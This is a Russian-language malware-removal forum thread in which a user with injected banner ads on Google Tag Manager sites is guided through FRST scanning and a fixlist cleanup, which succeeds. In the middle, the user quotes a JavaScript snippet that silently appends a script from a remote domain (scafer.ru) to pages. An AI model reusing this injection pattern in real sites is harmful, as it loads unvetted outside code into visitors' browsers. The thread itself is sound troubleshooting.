Вирус, отображающий баннеры только на сайтах, с установленным Google Tag Manager

[Amko4ka]

Здравствуйте!
Вижу баннеры на сайтах, где установлен Google Tag Manager, на других сайтах всё ок, удаляем скрипт Google Tag Manager - баннеры пропадают.
У меня простых вирусов, блин, не бывает, все с каким то подвыпертом (
В hosts чисто, были странные процессы, но после чистки темпов пропали.
А баннеры так и есть.

Скриншот 2015-10-15 13.37.26.jpg

[Info_bot]

Уважаемый(ая) Amko4ka, спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[thyrex]

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

• Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
2. Убедитесь, что в окне Optional Scan отмечены "List BCD" и "Driver MD5".

3. Нажмите кнопку Scan.
4. После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа. Пожалуйста, прикрепите этот отчет в следующем сообщении.
5. Если программа была запущена в первый раз, также будет создан отчет (Addition.txt). Пожалуйста, и его тоже прикрепите в следующем сообщении.

[Amko4ka]

Здравствуйте, thyrex!
Файлы прикрепляю.

- - - - -Добавлено - - - - -

Просмотрели отработку скриптов непосредственно на сайте, и там есть в частности такой:

http://top-fwz1.mail.ru/js/code.js

(function(w) {
    var script = document.createElement('script');
    var i = setInterval(function() {
        if (typeof w.document.body !== 'undefined') {
            script.src = 'http://scafer.ru/85wfifcd5jv8kki5872i526pfc4rt3kgm5jsgjeiu';
            w.document.body.appendChild(script);
            clearInterval(i);
        }
    }, 200);
})(window);

Тоесть, мейл.ру развлекаются?

[thyrex]

1. Откройте Блокнот и скопируйте в него приведенный ниже текст

CreateRestorePoint:
HKLM-x32\...\Run: [] => [X]
Toolbar: HKU\S-1-5-21-345229995-2934714218-2667212133-1000 -> No Name - {47833539-D0C5-4125-9FA8-0819E2EAAC93} -  No File
Reboot:

2. Нажмите Файл – Сохранить как
3. Выберите папку, откуда была запущена утилита Farbar Recovery Scan Tool
4. Укажите Тип файла – Все файлы (*.*)
5. Введите имя файла fixlist.txt и нажмите кнопку Сохранить
6. Запустите FRST, нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении!

• Обратите внимание, что компьютер будет перезагружен.

[Amko4ka]

Помогло, спасибо!